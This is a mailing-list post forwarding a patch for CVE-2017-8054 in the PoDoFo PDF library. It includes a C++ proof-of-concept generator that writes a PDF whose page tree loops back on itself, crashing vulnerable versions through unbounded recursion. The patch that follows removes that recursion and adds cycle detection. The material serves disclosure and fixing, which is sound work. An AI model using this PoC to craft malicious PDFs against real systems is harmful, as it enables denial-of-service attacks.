Somebody attached to the Debian bug http://bugs.debian.org/860995 a patch for CVE-2017-8054.
I'm forwarding this on behalf of Matthias Brinke <[email protected]> (whom asked me privately to do so). The patch applies cleanly with `patch -p1` on current trunk r1863. Attached you can also find a PoC generator for this bug. -- regards, Mattia Rizzolo GPG Key: 66AE 2B4A FCCF 3F52 DA18 4D18 4B04 3FCD B944 4540 .''`. more about me: https://mapreri.org : :' : Launchpad user: https://launchpad.net/~mapreri `. `'` Debian QA page: https://qa.debian.org/developer.php?login=mattia `-
#include <podofo/podofo.h>
using namespace PoDoFo;
void CreatePagesLoopPoC(PdfDocument& doc)
{
PdfPage* pFirstPage = doc.GetPage( 0 );
PdfObject* pFirstPageObject = pFirstPage->GetObject();
PdfObject* pParentObject = pFirstPageObject->MustGetIndirectKey("Parent");
PdfArray & rParentKidsArray = pParentObject->MustGetIndirectKey("Kids")
->GetArray();
rParentKidsArray.insert(rParentKidsArray.begin(),
pParentObject->Reference());
pdf_int64 ll2 = 2; // needed to make the following call unambiguous
pParentObject->GetDictionary().AddKey("Count", ll2); // 1 original, 1 loop
}
#define FONTNAME "Helvetica"
#define TEXTPOS_X 72.0
#define TEXTPOS_Y 72.0
#define SAMPLE_TEXT "Sample"
void DrawSampleTextOnPage(PdfPage* pPage)
{
PdfPainter painter;
painter.SetPage( pPage );
PdfFont* pFont = PdfFontFactory::CreateBase14Font( FONTNAME,
ePdfFont_Normal,
PdfEncodingFactory::GlobalWinAnsiEncodingInstance(),
pPage->GetObject()->GetOwner() );
painter.SetFont( pFont );
painter.DrawText( TEXTPOS_X, TEXTPOS_Y, PdfString( SAMPLE_TEXT,
pFont->GetEncoding() ));
painter.FinishPage();
delete pFont;
}
#define OUTFILE "my-CVE-2017-8054-PoC.pdf"
int main()
{
PdfMemDocument doc;
PdfPage* pPage
= doc.CreatePage( PdfPage::CreateStandardPageSize( ePdfPageSize_A4 ));
DrawSampleTextOnPage( pPage );
CreatePagesLoopPoC( doc );
doc.Write( OUTFILE );
return 0;
}
Description: Fix CVE-2017-8054 The recursive call in the case of the requested page index having an array has been removed to prevent possibility of stack overflow there, and replaced it by code setting the variable which had been modified in the new stack frame in the former revision, directly, after checking its validity. The second hunk inserts cycle detection for the parent list. Author: Matthias Brinke <[email protected]> Bug-Debian: https://bugs.debian.org/860995 Forwarded: no Last-Update: 2017-12-21 --- --- libpodofo-0.9.5.orig/src/doc/PdfPagesTree.cpp +++ libpodofo-0.9.5/src/doc/PdfPagesTree.cpp @@ -34,6 +34,7 @@ #include "PdfPagesTree.h" #include "base/PdfDefinesPrivate.h" +#include <algorithm> #include "base/PdfArray.h" #include "base/PdfDictionary.h" @@ -478,7 +479,17 @@ PdfObject* PdfPagesTree::GetPageNodeFrom if( rVar.IsArray() ) { // Fixes some broken PDFs who have trees with 1 element kids arrays - return GetPageNodeFromArray( 0, rVar.GetArray(), rLstParents ); + // Recursive call removed to prevent stack overflow, replaced by: + // all the following inside this conditional, plus restart looping + const PdfArray & rVarArray = rVar.GetArray(); + if (rVarArray.GetSize() == 0) + { + PdfError::LogMessage( eLogSeverity_Critical, "Trying to access" + " first page index of empty array" ); + return NULL; + } + rVar = rVarArray[0]; + continue; } else if( !rVar.IsReference() ) { @@ -502,6 +513,18 @@ PdfObject* PdfPagesTree::GetPageNodeFrom if( !pgObject->GetDictionary().HasKey( "Kids" ) ) return NULL; + if ( std::find( rLstParents.begin(), rLstParents.end(), pgObject ) + != rLstParents.end() ) // cycle in parent list detected, fend + { // off security vulnerability CVE-2017-8054 (infinite recursion) + std::ostringstream oss; + oss << "Cycle in page tree: child in /Kids array of object " + << ( *(rLstParents.rbegin()) )->Reference().ToString() + << " back-references to object " << pgObject->Reference() + .ToString() << " one of whose descendants the former is."; + + PODOFO_RAISE_ERROR_INFO( ePdfError_PageNotFound, oss.str() ); + } + rLstParents.push_back( pgObject ); rVar = *(pgObject->GetDictionary().GetKey( "Kids" )); } else { --- libpodofo-0.9.5.orig/src/base/PdfError.h +++ libpodofo-0.9.5/src/base/PdfError.h @@ -158,8 +158,8 @@ enum ELogSeverity { /** \def PODOFO_RAISE_ERROR_INFO( x, y ) * * Set the value of the variable eCode (which has to exist in the current function) to x - * and return the eCode. Additionally additional information on the error y is set. y has - * to be an c-string. + * and return the eCode. Additionally additional information on the error y is set. + * y can be a C string, but can also be a C++ std::string. */ #define PODOFO_RAISE_ERROR_INFO( x, y ) throw ::PoDoFo::PdfError( x, __FILE__, __LINE__, y ); @@ -184,6 +184,7 @@ class PODOFO_API PdfErrorInfo { public: PdfErrorInfo(); PdfErrorInfo( int line, const char* pszFile, const char* pszInfo ); + PdfErrorInfo( int line, const char* pszFile, std::string pszInfo ); PdfErrorInfo( int line, const char* pszFile, const wchar_t* pszInfo ); PdfErrorInfo( const PdfErrorInfo & rhs ); @@ -195,6 +196,7 @@ class PODOFO_API PdfErrorInfo { inline const std::wstring & GetInformationW() const { return m_swInfo; } inline void SetInformation( const char* pszInfo ) { m_sInfo = pszInfo ? pszInfo : ""; } + inline void SetInformation( std::string pszInfo ) { m_sInfo = pszInfo; } inline void SetInformation( const wchar_t* pszInfo ) { m_swInfo = pszInfo ? pszInfo : L""; } private: @@ -252,12 +254,22 @@ class PODOFO_EXCEPTION_API_DOXYGEN PdfEr * Use the compiler macro __FILE__ to initialize the field. * \param line the line in which the error has occured. * Use the compiler macro __LINE__ to initialize the field. - * \param pszInformation additional information on this error which mayy - * be formatted like printf + * \param pszInformation additional information on this error */ PdfError( const EPdfError & eCode, const char* pszFile = NULL, int line = 0, const char* pszInformation = NULL ); + /** Create a PdfError object with a given error code. + * \param eCode the error code of this object + * \param pszFile the file in which the error has occured. + * Use the compiler macro __FILE__ to initialize the field. + * \param line the line in which the error has occured. + * Use the compiler macro __LINE__ to initialize the field. + * \param sInformation additional information on this error + */ + explicit PdfError( const EPdfError & eCode, const char* pszFile, int line, + std::string sInformation ); + /** Copy constructor * \param rhs copy the contents of rhs into this object */ @@ -319,6 +331,21 @@ class PODOFO_EXCEPTION_API_DOXYGEN PdfEr * \param line the line of source causing the error * or 0. Typically you will use the gcc * macro __LINE__ here. + * \param sInformation additional information on the error. + * e.g. how to fix the error. This string is intended to + * be shown to the user. + */ + inline void SetError( const EPdfError & eCode, const char* pszFile, int line, + std::string sInformation ); + + /** Set the error code of this object. + * \param eCode the error code of this object + * \param pszFile the filename of the source file causing + * the error or NULL. Typically you will use + * the gcc macro __FILE__ here. + * \param line the line of source causing the error + * or 0. Typically you will use the gcc + * macro __LINE__ here. * \param pszInformation additional information on the error. * e.g. how to fix the error. This string is intended to * be shown to the user. @@ -354,6 +381,21 @@ class PODOFO_EXCEPTION_API_DOXYGEN PdfEr */ inline void AddToCallstack( const char* pszFile = NULL, int line = 0, const char* pszInformation = NULL ); + /** Add callstack information to an error object. Always call this function + * if you get an error object but do not handle the error but throw it again. + * + * \param pszFile the filename of the source file causing + * the error or NULL. Typically you will use + * the gcc macro __FILE__ here. + * \param line the line of source causing the error + * or 0. Typically you will use the gcc + * macro __LINE__ here. + * \param sInformation additional information on the error. + * e.g. how to fix the error. This string is intended to + * be shown to the user. + */ + inline void AddToCallstack( const char* pszFile, int line, std::string sInformation ); + /** \returns true if an error code was set * and false if the error code is ePdfError_ErrOk */ @@ -488,6 +530,22 @@ void PdfError::AddToCallstack( const cha // ----------------------------------------------------- // // ----------------------------------------------------- +void PdfError::SetError( const EPdfError & eCode, const char* pszFile, int line, std::string sInformation ) +{ + m_error = eCode; + this->AddToCallstack( pszFile, line, sInformation ); +} + +// ----------------------------------------------------- +// +// ----------------------------------------------------- +void PdfError::AddToCallstack( const char* pszFile, int line, std::string sInformation ) +{ + m_callStack.push_front( PdfErrorInfo( line, pszFile, sInformation ) ); +} +// ----------------------------------------------------- +// +// ----------------------------------------------------- void PdfError::SetErrorInformation( const char* pszInformation ) { if( m_callStack.size() ) --- libpodofo-0.9.5.orig/src/base/PdfError.cpp +++ libpodofo-0.9.5/src/base/PdfError.cpp @@ -60,6 +60,12 @@ PdfErrorInfo::PdfErrorInfo() { } +PdfErrorInfo::PdfErrorInfo( int line, const char* pszFile, std::string sInfo ) + : m_nLine( line ), m_sFile( pszFile ? pszFile : "" ), m_sInfo( sInfo ) +{ + +} + PdfErrorInfo::PdfErrorInfo( int line, const char* pszFile, const char* pszInfo ) : m_nLine( line ), m_sFile( pszFile ? pszFile : "" ), m_sInfo( pszInfo ? pszInfo : "" ) { @@ -96,6 +102,12 @@ PdfError::PdfError() } PdfError::PdfError( const EPdfError & eCode, const char* pszFile, int line, + std::string sInformation ) +{ + this->SetError( eCode, pszFile, line, sInformation ); +} + +PdfError::PdfError( const EPdfError & eCode, const char* pszFile, int line, const char* pszInformation ) { this->SetError( eCode, pszFile, line, pszInformation );
signature.asc
Description: PGP signature
------------------------------------------------------------------------------ Check out the vibrant tech community on one of the world's most engaging tech sites, Slashdot.org! http://sdm.link/slashdot
_______________________________________________ Podofo-users mailing list [email protected] https://lists.sourceforge.net/lists/listinfo/podofo-users
